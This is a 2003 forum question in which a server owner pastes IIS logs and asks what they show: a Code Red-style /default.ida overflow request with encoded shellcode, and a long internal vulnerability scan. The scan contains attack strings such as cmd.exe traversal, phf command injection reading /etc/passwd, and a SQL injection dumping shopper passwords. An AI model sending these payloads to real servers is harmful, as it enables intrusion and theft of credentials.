Can someone explain this to me?

quell · Feb 12, 2003

Can someone explain this to me?

2003-02-12 02:33:47 219.138.33.195 - 192.168.1.5 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 401 -

Also received this but I see that the IP is from inside the network. Is this some sort of vuln scan done on my server?

2003-02-05 16:20:42 192.168.0.68 - 192.168.0.6 80 GET /xxxxxxx.....xxxxxxxxx - 404 -
2003-02-05 16:20:45 192.168.0.68 - 192.168.0.6 80 GET /cgi/nph-publish - 404 -
2003-02-05 16:20:45 192.168.0.68 - 192.168.0.6 80 GET /quikstore.cfg - 404 -
2003-02-05 16:20:46 192.168.0.68 - 192.168.0.6 80 GET /finger - 404 -
2003-02-05 16:20:47 192.168.0.68 - 192.168.0.6 80 GET /websendmail - 404 -
2003-02-05 16:20:48 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/TOXIC.CFM - 404 -
2003-02-05 16:20:48 192.168.0.68 - 192.168.0.6 80 GET /IISADMPWD/aexp.htr - 200 -
2003-02-05 16:20:50 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/nph-error.pl - 404 -
2003-02-05 16:20:50 192.168.0.68 - 192.168.0.6 80 GET /manage/cgi/cgiproc - 404 -
2003-02-05 16:20:50 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/faxsurvey - 404 -
2003-02-05 16:20:52 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/rmp_query - 404 -
2003-02-05 16:20:53 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/maillist.pl - 404 -
2003-02-05 16:20:53 192.168.0.68 - 192.168.0.6 80 GET /cgi/nph-error.pl - 404 -
2003-02-05 16:20:53 192.168.0.68 - 192.168.0.6 80 GET /manage/cgi-bin/cgiproc - 404 -
2003-02-05 16:20:55 192.168.0.68 - 192.168.0.6 80 GET /cgi/faxsurvey - 404 -
2003-02-05 16:20:56 192.168.0.68 - 192.168.0.6 80 GET /cgi/rmp_query - 404 -
2003-02-05 16:20:56 192.168.0.68 - 192.168.0.6 80 GET /cgi/maillist.pl - 404 -
2003-02-05 16:20:58 192.168.0.68 - 192.168.0.6 80 GET /scripts/tools/getdrvs.exe - 404 -
2003-02-05 16:20:58 192.168.0.68 - 192.168.0.6 80 GET /perlshop.cgi - 404 -
2003-02-05 16:20:58 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/maillist.cgi - 404 -
2003-02-05 16:21:00 192.168.0.68 - 192.168.0.6 80 GET /

http://wwwroot/root.exe

/c%20dir 404 -
2003-02-05 16:21:01 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/displayTC.pl - 404 -
2003-02-05 16:21:02 192.168.0.68 - 192.168.0.6 80 GET /search97.vts - 404 -
2003-02-05 16:21:02 192.168.0.68 - 192.168.0.6 80 GET /iissamples/exair/search/qfullhit.htw - 403 -
2003-02-05 16:21:02 192.168.0.68 - 192.168.0.6 80 GET /cgi/maillist.cgi - 404 -
2003-02-05 16:21:05 192.168.0.68 - 192.168.0.6 80 GET /Admin - 404 -
2003-02-05 16:21:05 192.168.0.68 - 192.168.0.6 80 GET /cgi/displayTC.pl - 404 -
2003-02-05 16:21:07 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/expeval/exprcalc.cfm - 404 -
2003-02-05 16:21:07 192.168.0.68 - 192.168.0.6 80 GET /_vti_bin/shtml.dll - 200 -
2003-02-05 16:21:07 192.168.0.68 - 192.168.0.6 80 GET /winnt/system32/cmd.exe /c%20dir 404 -
2003-02-05 16:21:09 192.168.0.68 - 192.168.0.6 80 GET /guestbook.cgi - 404 -
2003-02-05 16:21:09 192.168.0.68 - 192.168.0.6 80 GET /piranha/secure/passwd.php3 - 404 -
2003-02-05 16:21:10 192.168.0.68 - 192.168.0.6 80 GET /_vti_pvt/service.stp - 403 -
2003-02-05 16:21:12 192.168.0.68 - 192.168.0.6 80 GET /view-source - 404 -
2003-02-05 16:21:12 192.168.0.68 - 192.168.0.6 80 GET /iissamples/exair/search/qsumrhit.htw - 403 -
2003-02-05 16:21:14 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/spin_client.cgi - 404 -
2003-02-05 16:21:14 192.168.0.68 SYSTEM 192.168.0.6 80 GET /iisadmpwd/achg.htr - 200 -
2003-02-05 16:21:15 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/getdoc.cgi - 404 -
2003-02-05 16:21:15 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/php.cgi /etc/passwd 404 -
2003-02-05 16:21:17 192.168.0.68 - 192.168.0.6 80 GET /new - 404 -
2003-02-05 16:21:17 192.168.0.68 - 192.168.0.6 80 GET /cfusion/cfapps/forums/forums_.mdb - 404 -
2003-02-05 16:21:17 192.168.0.68 - 192.168.0.6 80 GET /cgi/spin_client.cgi - 404 -
2003-02-05 16:21:20 192.168.0.68 - 192.168.0.6 80 GET /cgi/getdoc.cgi - 404 -
2003-02-05 16:21:20 192.168.0.68 - 192.168.0.6 80 GET /cgi/php.cgi /etc/passwd 404 -
2003-02-05 16:21:21 192.168.0.68 - 192.168.0.6 80 GET /password.txt - 404 -
2003-02-05 16:21:21 192.168.0.68 - 192.168.0.6 80 GET /Count.cgi - 404 -
2003-02-05 16:21:21 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/visadmin.exe - 404 -
2003-02-05 16:21:24 192.168.0.68 - 192.168.0.6 80 GET /beta - 404 -
2003-02-05 16:21:24 192.168.0.68 - 192.168.0.6 80 GET /scripts/tools/getdrvrs.exe - 404 -
2003-02-05 16:21:26 192.168.0.68 - 192.168.0.6 80 GET /cgi/visadmin.exe - 404 -
2003-02-05 16:21:26 192.168.0.68 - 192.168.0.6 80 GET /jj - 404 -
2003-02-05 16:21:26 192.168.0.68 - 192.168.0.6 80 GET /~root - 404 -
2003-02-05 16:21:28 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/classifieds.cgi - 404 -
2003-02-05 16:21:28 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/subscribe.pl - 404 -
2003-02-05 16:21:31 192.168.0.68 - 192.168.0.6 80 GET /scripts/iisadmin/tools/ctss.idc - 404 -
2003-02-05 16:21:31 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/redir.exe - 404 -
2003-02-05 16:21:31 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/search.cgi - 404 -
2003-02-05 16:21:31 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/query_string.cgi - 404 -
2003-02-05 16:21:33 192.168.0.68 - 192.168.0.6 80 GET /cgi/classifieds.cgi - 404 -
2003-02-05 16:21:33 192.168.0.68 - 192.168.0.6 80 GET /cgi/subscribe.pl - 404 -
2003-02-05 16:21:35 192.168.0.68 - 192.168.0.6 80 GET /cgi/redir.exe - 404 -
2003-02-05 16:21:35 192.168.0.68 - 192.168.0.6 80 GET /cgi/search.cgi - 404 -
2003-02-05 16:21:35 192.168.0.68 - 192.168.0.6 80 GET /cgi/query_string.cgi - 404 -
2003-02-05 16:21:37 192.168.0.68 - 192.168.0.6 80 GET /_private/register.txt - 403 -
2003-02-05 16:21:37 192.168.0.68 - 192.168.0.6 80 GET /officescan/cgi/jdkRqNotify.exe - 404 -
2003-02-05 16:21:39 192.168.0.68 - 192.168.0.6 80 GET /_private/register.htm - 403 -
2003-02-05 16:21:39 192.168.0.68 - 192.168.0.6 80 GET /config/orders.txt - 404 -
2003-02-05 16:21:39 192.168.0.68 - 192.168.0.6 80 GET /publisher - 404 -
2003-02-05 16:21:41 192.168.0.68 - 192.168.0.6 80 GET /officescan/cgi-bin/jdkRqNotify.exe - 404 -
2003-02-05 16:21:41 192.168.0.68 - 192.168.0.6 80 GET /_vti_pvt/users.pwd - 403 -
2003-02-05 16:21:44 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/finger @localhost 404 -
2003-02-05 16:21:44 192.168.0.68 - 192.168.0.6 80 GET /scripts/proxy/w3proxy.dll - 500 -
2003-02-05 16:21:44 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/rpm_query - 404 -
2003-02-05 16:21:44 192.168.0.68 - 192.168.0.6 80 GET /scripts/samples/search/webhits.exe - 404 -
2003-02-05 16:21:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/echo.bat - 404 -
2003-02-05 16:21:46 192.168.0.68 - 192.168.0.6 80 GET /.html/...... - 404 -
2003-02-05 16:21:48 192.168.0.68 - 192.168.0.6 80 GET /cgi/finger @localhost 404 -
2003-02-05 16:21:48 192.168.0.68 - 192.168.0.6 80 GET /cgi/rpm_query - 404 -
2003-02-05 16:21:49 192.168.0.68 - 192.168.0.6 80 GET /cgi/echo.bat - 404 -
2003-02-05 16:21:49 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/bnbform.cgi - 404 -
2003-02-05 16:21:50 192.168.0.68 - 192.168.0.6 80 GET /test - 404 -
2003-02-05 16:21:52 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/bb-hostsvc.sh - 404 -
2003-02-05 16:21:52 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/nph-test-cgi - 404 -
2003-02-05 16:21:54 192.168.0.68 - 192.168.0.6 80 GET /cgi/bnbform.cgi - 404 -
2003-02-05 16:21:54 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/password - 404 -
2003-02-05 16:21:55 192.168.0.68 - 192.168.0.6 80 GET /........./autoexec.bat - 404 -
2003-02-05 16:21:55 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/expeval/eval.cfm - 404 -
2003-02-05 16:21:56 192.168.0.68 - 192.168.0.6 80 GET /cgi/bb-hostsvc.sh - 404 -
2003-02-05 16:21:56 192.168.0.68 - 192.168.0.6 80 GET /cgi/nph-test-cgi - 404 -
2003-02-05 16:21:58 192.168.0.68 - 192.168.0.6 80 GET /cgi/password - 404 -
2003-02-05 16:21:58 192.168.0.68 - 192.168.0.6 80 GET /maillist.pl - 404 -
2003-02-05 16:22:01 192.168.0.68 - 192.168.0.6 80 GET /config.sys - 404 -
2003-02-05 16:22:01 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/webplus - 404 -
2003-02-05 16:22:03 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/ax.cgi - 404 -
2003-02-05 16:22:04 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/hello.bat - 404 -
2003-02-05 16:22:04 192.168.0.68 - 192.168.0.6 80 GET /.html/............../config.sys - 404 -
2003-02-05 16:22:07 192.168.0.68 - 192.168.0.6 80 GET /cgi/webplus - 404 -
2003-02-05 16:22:09 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/testcgi.exe - 404 -
2003-02-05 16:22:09 192.168.0.68 - 192.168.0.6 80 GET /cgi/ax.cgi - 404 -
2003-02-05 16:22:10 192.168.0.68 - 192.168.0.6 80 GET /cgi/hello.bat - 404 -
2003-02-05 16:22:11 192.168.0.68 - 192.168.0.6 80 GET /config/import.txt - 404 -
2003-02-05 16:22:13 192.168.0.68 - 192.168.0.6 80 GET /cgi/testcgi.exe - 404 -
2003-02-05 16:22:13 192.168.0.68 - 192.168.0.6 80 GET /scripts/c32web.exe - 404 -
2003-02-05 16:22:14 192.168.0.68 - 192.168.0.6 80 GET /shtml - 404 -
2003-02-05 16:22:15 192.168.0.68 - 192.168.0.6 80 GET /passwords.txt - 404 -
2003-02-05 16:22:17 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/aglimpse - 404 -
2003-02-05 16:22:20 192.168.0.68 - 192.168.0.6 80 GET /perl - 404 -
2003-02-05 16:22:20 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/wrap - 404 -
2003-02-05 16:22:21 192.168.0.68 - 192.168.0.6 80 GET /code.php3 - 404 -
2003-02-05 16:22:22 192.168.0.68 - 192.168.0.6 80 GET /scripts/no-such-file.pl - 403 -
2003-02-05 16:22:22 192.168.0.68 - 192.168.0.6 80 GET /cgi/aglimpse - 404 -
2003-02-05 16:22:26 192.168.0.68 - 192.168.0.6 80 GET /cgi/wrap - 404 -
2003-02-05 16:22:26 192.168.0.68 - 192.168.0.6 80 GET /Default.asp |-|0|404_Object_Not_Found 404 -
2003-02-05 16:22:29 192.168.0.68 - 192.168.0.6 80 GET /_vti_pvt/service.pwd - 403 -
2003-02-05 16:22:30 192.168.0.68 - 192.168.0.6 80 GET /config/check.txt - 404 -
2003-02-05 16:22:30 192.168.0.68 - 192.168.0.6 80 GET /scripts/tools/dsnform.exe - 404 -
2003-02-05 16:22:33 192.168.0.68 - 192.168.0.6 80 GET /scripts/uploadx.asp |-|0|404_Object_Not_Found 404 -
2003-02-05 16:22:33 192.168.0.68 - 192.168.0.6 80 GET /scripts/uploadn.asp |-|0|404_Object_Not_Found 404 -
2003-02-05 16:22:34 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/r

http://wwwshell.pl

- 404 -
2003-02-05 16:22:34 192.168.0.68 - 192.168.0.6 80 GET /statistic - 404 -
2003-02-05 16:22:34 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/phf Qalias=x%0a/bin/cat%20/etc/passwd 404 -
2003-02-05 16:22:38 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/root.cfm - 404 -
2003-02-05 16:22:38 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/environ.cgi - 404 -
2003-02-05 16:22:38 192.168.0.68 - 192.168.0.6 80 GET /cgi/r

http://wwwshell.pl

- 404 -
2003-02-05 16:22:40 192.168.0.68 - 192.168.0.6 80 GET /cgi/phf Qalias=x%0a/bin/cat%20/etc/passwd 404 -
2003-02-05 16:22:40 192.168.0.68 - 192.168.0.6 80 GET /cmd.exe %2FC+echo+\"hacked!\">c:\\hello.bat 404 -
2003-02-05 16:22:43 192.168.0.68 - 192.168.0.6 80 GET /cgi/environ.cgi - 404 -
2003-02-05 16:22:43 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/expeval/displayopenedfile.cfm - 404 -
2003-02-05 16:22:44 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/GW5/GWWEB.EXE - 404 -
2003-02-05 16:22:44 192.168.0.68 - 192.168.0.6 80 GET - - 501 -
2003-02-05 16:22:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/test-unix.html - 404 -
2003-02-05 16:22:45 192.168.0.68 - 192.168.0.6 80 GET - - 501 -
2003-02-05 16:22:45 192.168.0.68 - 192.168.0.6 80 GET - - 501 -
2003-02-05 16:22:46 192.168.0.68 - 192.168.0.6 80 GET /pfdisplay.cgi - 404 -
2003-02-05 16:22:49 192.168.0.68 - 192.168.0.6 80 GET /r

http://wwwshell.pl

- 404 -
2003-02-05 16:22:49 192.168.0.68 - 192.168.0.6 80 GET /reviews/newpro.cgi - 404 -
2003-02-05 16:22:49 192.168.0.68 - 192.168.0.6 80 GET /cgi/GW5/GWWEB.EXE - 404 -
2003-02-05 16:22:52 192.168.0.68 - 192.168.0.6 80 GET /cgi/test-unix.html - 404 -
2003-02-05 16:22:54 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/infosrch.cgi - 404 -
2003-02-05 16:22:56 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/whois.cgi - 404 -
2003-02-05 16:22:56 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/sawmill5 - 404 -
2003-02-05 16:22:56 192.168.0.68 - 192.168.0.6 80 GET /_vti_pvt/svcacl.cnf - 403 -
2003-02-05 16:22:58 192.168.0.68 - 192.168.0.6 80 GET /_private/registrations.txt - 403 -
2003-02-05 16:23:00 192.168.0.68 - 192.168.0.6 80 GET /cgi/infosrch.cgi - 404 -
2003-02-05 16:23:02 192.168.0.68 - 192.168.0.6 80 GET /cgi/whois.cgi - 404 -
2003-02-05 16:23:02 192.168.0.68 - 192.168.0.6 80 GET /cgi/sawmill5 - 404 -
2003-02-05 16:23:03 192.168.0.68 - 192.168.0.6 80 GET /ss.cfg - 404 -
2003-02-05 16:23:05 192.168.0.68 - 192.168.0.6 80 GET /iissamples/issamples/oop/qsumrhit.htw - 403 -
2003-02-05 16:23:05 192.168.0.68 - 192.168.0.6 80 GET /iissamples/issamples/oop/qfullhit.htw - 403 -
2003-02-05 16:23:07 192.168.0.68 - 192.168.0.6 80 GET /_private/registrations.htm - 403 -
2003-02-05 16:23:07 192.168.0.68 - 192.168.0.6 80 GET /secure/.

http://wwwacl

- 404 -
2003-02-05 16:23:08 192.168.0.68 - 192.168.0.6 80 GET /pix - 404 -
2003-02-05 16:23:10 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/examples/cvbeans/beaninfo.cfm - 404 -
2003-02-05 16:23:10 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/sojourn.cgi - 404 -
2003-02-05 16:23:14 192.168.0.68 - 192.168.0.6 80 GET /database - 404 -
2003-02-05 16:23:16 192.168.0.68 - 192.168.0.6 80 GET /redir.cgi - 404 -
2003-02-05 16:23:17 192.168.0.68 - 192.168.0.6 80 GET /cgi/sojourn.cgi - 404 -
2003-02-05 16:23:17 192.168.0.68 - 192.168.0.6 80 GET /scripts/iisadmin/tools/newdsn.exe - 404 -
2003-02-05 16:23:17 192.168.0.68 - 192.168.0.6 80 GET /_vti_inf.html - 200 -
2003-02-05 16:23:18 192.168.0.68 - 192.168.0.6 80 GET /scripts/root.exe /c%20dir 404 -
2003-02-05 16:23:20 192.168.0.68 - 192.168.0.6 80 GET /DataBase - 404 -
2003-02-05 16:23:22 192.168.0.68 - 192.168.0.6 80 GET /users/scripts/submit.cgi - 404 -
2003-02-05 16:23:22 192.168.0.68 - 192.168.0.6 80 GET /secret - 404 -
2003-02-05 16:23:23 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/download.cgi - 404 -
2003-02-05 16:23:23 192.168.0.68 - 192.168.0.6 80 GET /scripts/iisadmin/tools/getdrvrs.exe - 404 -
2003-02-05 16:23:25 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/campas - 404 -
2003-02-05 16:23:27 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/passwd - 404 -
2003-02-05 16:23:27 192.168.0.68 - 192.168.0.6 80 GET /cgi/download.cgi - 404 -
2003-02-05 16:23:27 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/dasp/fm_shell.asp |-|0|404_Object_Not_Found 404 -
2003-02-05 16:23:28 192.168.0.68 - 192.168.0.6 80 GET /servlet - 404 -
2003-02-05 16:23:30 192.168.0.68 - 192.168.0.6 80 GET /cgi/campas - 404 -
2003-02-05 16:23:32 192.168.0.68 - 192.168.0.6 80 GET /cgi/passwd - 404 -
2003-02-05 16:23:33 192.168.0.68 - 192.168.0.6 80 GET /cgi/dasp/fm_shell.asp |-|0|404_Object_Not_Found 404 -
2003-02-05 16:23:33 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/expeval/openfile.cfm - 404 -
2003-02-05 16:23:35 192.168.0.68 - 192.168.0.6 80 GET /scripts/iisadmin/tools/dsnform.exe - 404 -
2003-02-05 16:23:36 192.168.0.68 - 192.168.0.6 80 GET /iisadmpwd/anot3.htr - 200 -
2003-02-05 16:23:39 192.168.0.68 - 192.168.0.6 80 GET /bb-hist.sh - 404 -
2003-02-05 16:23:39 192.168.0.68 - 192.168.0.6 80 GET /phf - 404 -
2003-02-05 16:23:40 192.168.0.68 - 192.168.0.6 80 GET /environ.cgi - 404 -
2003-02-05 16:23:40 192.168.0.68 - 192.168.0.6 80 GET /default.asp::$DATA - 404 -
2003-02-05 16:23:41 192.168.0.68 - 192.168.0.6 80 GET /_vti_bin/ - 302 -
2003-02-05 16:23:42 192.168.0.68 - 192.168.0.6 80 GET /work - 404 -
2003-02-05 16:23:44 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/phf.pp - 404 -
2003-02-05 16:23:44 192.168.0.68 - 192.168.0.6 80 GET /scripts/iisadmin/tools/ct.htx - 403 -
2003-02-05 16:23:44 192.168.0.68 - 192.168.0.6 80 GET - - 501 -
2003-02-05 16:23:45 192.168.0.68 - 192.168.0.6 80 GET - - 501 -
2003-02-05 16:23:45 192.168.0.68 - 192.168.0.6 80 GET - - 501 -
2003-02-05 16:23:45 192.168.0.68 - 192.168.0.6 80 GET /scripts/fpcount.exe - 404 -
2003-02-05 16:23:45 192.168.0.68 - 192.168.0.6 80 GET /admin.php3 - 404 -
2003-02-05 16:23:50 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/AnForm2 - 404 -
2003-02-05 16:23:50 192.168.0.68 - 192.168.0.6 80 GET /cgi/phf.pp - 404 -
2003-02-05 16:23:51 192.168.0.68 SYSTEM 192.168.0.6 80 GET /IISADMPWD/achg.htr - 200 -
2003-02-05 16:23:51 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/lwgate - 404 -
2003-02-05 16:23:51 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/query - 404 -
2003-02-05 16:23:52 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/websendmail - 404 -
2003-02-05 16:23:55 192.168.0.68 - 192.168.0.6 80 GET /cgi/AnForm2 - 404 -
2003-02-05 16:23:56 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/clickresponder.pl - 404 -
2003-02-05 16:23:58 192.168.0.68 - 192.168.0.6 80 GET /cgi/lwgate - 404 -
2003-02-05 16:23:58 192.168.0.68 - 192.168.0.6 80 GET /cgi/query - 404 -
2003-02-05 16:23:58 192.168.0.68 - 192.168.0.6 80 GET /cgi/websendmail - 404 -
2003-02-05 16:24:01 192.168.0.68 - 192.168.0.6 80 GET /reports - 404 -
2003-02-05 16:24:01 192.168.0.68 - 192.168.0.6 80 GET /cgi/clickresponder.pl - 404 -
2003-02-05 16:24:03 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/examples/mainframeset.cfm - 404 -
2003-02-05 16:24:03 192.168.0.68 - 192.168.0.6 80 GET /imgs - 404 -
2003-02-05 16:24:03 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/af.cgi - 404 -
2003-02-05 16:24:06 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/calendar - 404 -
2003-02-05 16:24:06 192.168.0.68 - 192.168.0.6 80 GET /search - 404 -
2003-02-05 16:24:09 192.168.0.68 - 192.168.0.6 80 GET /cgi/af.cgi - 404 -
2003-02-05 16:24:09 192.168.0.68 - 192.168.0.6 80 GET /scripts/iisadmin/samples/viewbook.htx - 403 -
2003-02-05 16:24:09 192.168.0.68 - 192.168.0.6 80 GET /temp - 404 -
2003-02-05 16:24:13 192.168.0.68 - 192.168.0.6 80 GET /cgi/calendar - 404 -
2003-02-05 16:24:14 192.168.0.68 - 192.168.0.6 80 GET /restricted - 404 -
2003-02-05 16:24:15 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/enter.cgi - 404 -
2003-02-05 16:24:15 192.168.0.68 - 192.168.0.6 80 GET /staff - 404 -
2003-02-05 16:24:15 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/glimpse - 404 -
2003-02-05 16:24:18 192.168.0.68 - 192.168.0.6 80 GET /cgi-win/uploader.exe - 404 -
2003-02-05 16:24:19 192.168.0.68 - 192.168.0.6 80 GET /hidden - 404 -
2003-02-05 16:24:19 192.168.0.68 - 192.168.0.6 80 GET /cgi/enter.cgi - 404 -
2003-02-05 16:24:21 192.168.0.68 - 192.168.0.6 80 GET /cgi/glimpse - 404 -
2003-02-05 16:24:21 192.168.0.68 - 192.168.0.6 80 GET /scripts/iisadmin/samples/viewbook.idc - 404 -
2003-02-05 16:24:23 192.168.0.68 - 192.168.0.6 80 GET /counter - 404 -
2003-02-05 16:24:25 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/ls - 404 -
2003-02-05 16:24:26 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/rguest.exe - 404 -
2003-02-05 16:24:26 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/wguest.exe - 404 -
2003-02-05 16:24:28 192.168.0.68 - 192.168.0.6 80 GET /scripts/..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 500 -
2003-02-05 16:24:28 192.168.0.68 - 192.168.0.6 80 GET - - 501 -
2003-02-05 16:24:29 192.168.0.68 - 192.168.0.6 80 GET - - 501 -
2003-02-05 16:24:29 192.168.0.68 - 192.168.0.6 80 GET - - 501 -
2003-02-05 16:24:29 192.168.0.68 - 192.168.0.6 80 GET /

http://wwwboard/passwd.txt

- 404 -
2003-02-05 16:24:30 192.168.0.68 - 192.168.0.6 80 GET /aux - 404 -
2003-02-05 16:24:30 192.168.0.68 - 192.168.0.6 80 GET /cgi/ls - 404 -
2003-02-05 16:24:32 192.168.0.68 - 192.168.0.6 80 GET /cgi/rguest.exe - 404 -
2003-02-05 16:24:32 192.168.0.68 - 192.168.0.6 80 GET /cgi/wguest.exe - 404 -
2003-02-05 16:24:35 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/dumpenv - 404 -
2003-02-05 16:24:35 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/ncommerce3/ExecMacro/orderdspc.d2w/report order_rn=99999+union+select+CHAR(shlogid)||HEX(shlpswd)+as+mestname,0+from+shopper+where+shlpswd+is+not+null; 404 -
2003-02-05 16:24:36 192.168.0.68 - 192.168.0.6 80 GET /IISADMPWD/anot.htr - 200 -
2003-02-05 16:24:36 192.168.0.68 - 192.168.0.6 80 GET /warez - 404 -
2003-02-05 16:24:38 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/makechanges/easysteps/easysteps.pl - 404 -
2003-02-05 16:24:38 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/expressions.cfm - 404 -
2003-02-05 16:24:41 192.168.0.68 - 192.168.0.6 80 GET /cgi/dumpenv - 404 -
2003-02-05 16:24:41 192.168.0.68 - 192.168.0.6 80 GET /cgi/ncommerce3/ExecMacro/orderdspc.d2w/report order_rn=99999+union+select+CHAR(shlogid)||HEX(shlpswd)+as+mestname,0+from+shopper+where+shlpswd+is+not+null; 404 -
2003-02-05 16:24:43 192.168.0.68 - 192.168.0.6 80 GET /cgi/makechanges/easysteps/easysteps.pl - 404 -
2003-02-05 16:24:43 192.168.0.68 - 192.168.0.6 80 GET /gfx - 404 -
2003-02-05 16:24:44 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/AnyForm2 - 404 -
2003-02-05 16:24:46 192.168.0.68 - 192.168.0.6 80 GET /filemail.pl - 404 -
2003-02-05 16:24:46 192.168.0.68 - 192.168.0.6 80 GET /admisapi/fpadmin.htm - 404 -
2003-02-05 16:24:49 192.168.0.68 - 192.168.0.6 80 GET /scripts/iisadmin/tools/mkilog.exe - 404 -
2003-02-05 16:24:49 192.168.0.68 - 192.168.0.6 80 GET /_vti_bin/fpcount.exe - 502 -
2003-02-05 16:24:49 192.168.0.68 - 192.168.0.6 80 GET /cgi/AnyForm2 - 404 -
2003-02-05 16:24:51 192.168.0.68 - 192.168.0.6 80 GET /default.asp. - 404 -
2003-02-05 16:24:53 192.168.0.68 - 192.168.0.6 80 GET /scripts/iisadmin/samples/details.htx - 403 -
2003-02-05 16:24:53 192.168.0.68 - 192.168.0.6 80 GET /scripts/dbman/db.cgi - 404 -
2003-02-05 16:24:55 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/exampleapp/publish/admin/addcontent.cfm - 404 -
2003-02-05 16:24:57 192.168.0.68 - 192.168.0.6 80 GET /cgi-win/

http://wwwuploader.exe

- 404 -
2003-02-05 16:24:57 192.168.0.68 - 192.168.0.6 80 GET /scripts/tools/newdsn.exe - 404 -
2003-02-05 16:24:59 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin - 404 -
2003-02-05 16:24:59 192.168.0.68 - 192.168.0.6 80 GET /msads/Samples/selector/showcode.asp |-|0|404_Object_Not_Found 404 -
2003-02-05 16:25:01 192.168.0.68 - 192.168.0.6 80 GET /_private - 403 -
2003-02-05 16:25:03 192.168.0.68 - 192.168.0.6 80 GET /session/adminlogin RCpage=/sysadmin/index.stm 404 -
2003-02-05 16:25:04 192.168.0.68 - 192.168.0.6 80 GET /iisstart.asp PageServices 200 -
2003-02-05 16:25:06 192.168.0.68 - 192.168.0.6 80 GET /scripts/iisadmin/samples/details.idc - 404 -
2003-02-05 16:25:06 192.168.0.68 - 192.168.0.6 80 GET /src - 404 -
2003-02-05 16:25:06 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi - 404 -
2003-02-05 16:25:07 192.168.0.68 - 192.168.0.6 80 GET /glimpse - 404 -
2003-02-05 16:25:09 192.168.0.68 - 192.168.0.6 80 GET /main.asp - 404 -
2003-02-05 16:25:09 192.168.0.68 - 192.168.0.6 80 GET /cgi-home - 404 -
2003-02-05 16:25:12 192.168.0.68 - 192.168.0.6 80 GET /cgi/.cobalt/siteUserMod/siteUserMod.cgi - 404 -
2003-02-05 16:25:12 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/php - 404 -
2003-02-05 16:25:14 192.168.0.68 - 192.168.0.6 80 GET /cgiwrap - 404 -
2003-02-05 16:25:15 192.168.0.68 - 192.168.0.6 80 GET /_private/orders.txt - 403 -
